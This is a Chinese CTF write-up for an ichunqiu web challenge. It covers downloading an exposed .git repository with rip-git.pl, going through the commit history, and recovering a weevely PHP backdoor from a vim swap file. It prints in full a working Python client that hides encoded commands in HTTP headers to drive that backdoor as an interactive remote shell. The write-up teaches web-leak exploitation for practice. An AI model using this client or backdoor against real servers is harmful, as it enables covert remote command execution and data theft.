.git利用
扫描目录发现.git目录
/index.php
/robots.txt
/Challenges/index.php
/Challenges/flag.php
/Challenges/robots.txt
/Challenges/.git/
- 尝试利用githack获得网页源码,但发现一无所获。
$ python GitHack.py -u http://c595c2a5d4d34b6b9ef376a34ad9381bf78bd146b7544e48.game.ichunqiu.com/Challenges/.git/
- 这才知道.git泄露不止这一种利用方式,可以采用一些工具把.git的整个目录下载到本地,从而获得个本地的git仓库,其中包含着整个工程的历史版本信息,也许关键信息就藏在这里。这里我们利用rip-git.pl这个工具
https://github.com/kost/dvcs-ripper
$ perl rip-git.pl -v -u http://1f27c8e1c7954d34b6a326e4c9aa52a88ef6096702364120.game.ichunqiu.com/Challenges/.git/
查看log
$ git log
commit abbbdcc032c8e76087f2daf593f423f74857b0cf (HEAD -> master)
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 13:16:21 2016 +0800
add robots.txt
commit da06087a0b893ddb6b6c857e53ce4387c96785ab
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 13:13:16 2016 +0800
edit flag.php
commit 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 13:09:53 2016 +0800
test
commit 494a75f8b3c397e8da52e3ff82ddc4bf1bc47f17
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 13:07:47 2016 +0800
edit flag.php
commit 1556a1d651526780ecd22db22681619e4ce6aa4b
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 12:58:51 2016 +0800
edit flag.php
commit 734d08bfd094afa3372b997bf1c71412c1afc7d9
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 12:58:44 2016 +0800
edit flag.php
commit 25a4a898b1a45412a538a7baa868bc406c1d8ba9
Author: tmp <tmp@tmp.tmp>
Date: Fri Sep 16 12:55:18 2016 +0800
added web app
一顿查找历史版本最终在12c6ddf4af0这个历史版本中找到信息。
$ git reset --hard 12c6ddf4af0
HEAD is now at 12c6ddf test
$ cat flag.php
<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>
后门文件
- 访问后门文件提示找源码,最后找到
.b4ckdo0r.php.swo
- 下载该文件,补上前缀的点使其成为隐藏文件,然后使用vi命令恢复
vi -r b4ckdo0r.php
- 发现是weevely后门文件
$kh = "4f7f"
$Kf = "28d7"
- 找到了一个直接利用链接shell的脚本 (密码和地址做一些修改即可使用)
#!/usr/bin/env python
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://c595c2a5d4d34b6b9ef376a34ad9381bf78bd146b7544e48.game.ichunqiu.com/Challenges/b4ckdo0r.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
如果工控web找到了这个,早做完了,哭!
$python shell.py
phpshell> echo `ls`;
phpshell> echo `cat this_i5_flag.php`;
总结
- .git泄露不只有用githack拿源码的一种方式,还有直接拿到整个git仓库的的利用方式
- weevely后门直接利用的python脚本,有兴趣可以分析后门的加密方式
参考
一个PHP混淆后门的分析
http://www.cnblogs.com/go2bed/p/5920811.html
百度杯十月场wp
https://www.cnblogs.com/kurokoleung/p/6363845.html
常见Web源码泄露总结
http://www.xmanblog.net/2017/04/03/web-code-leakage/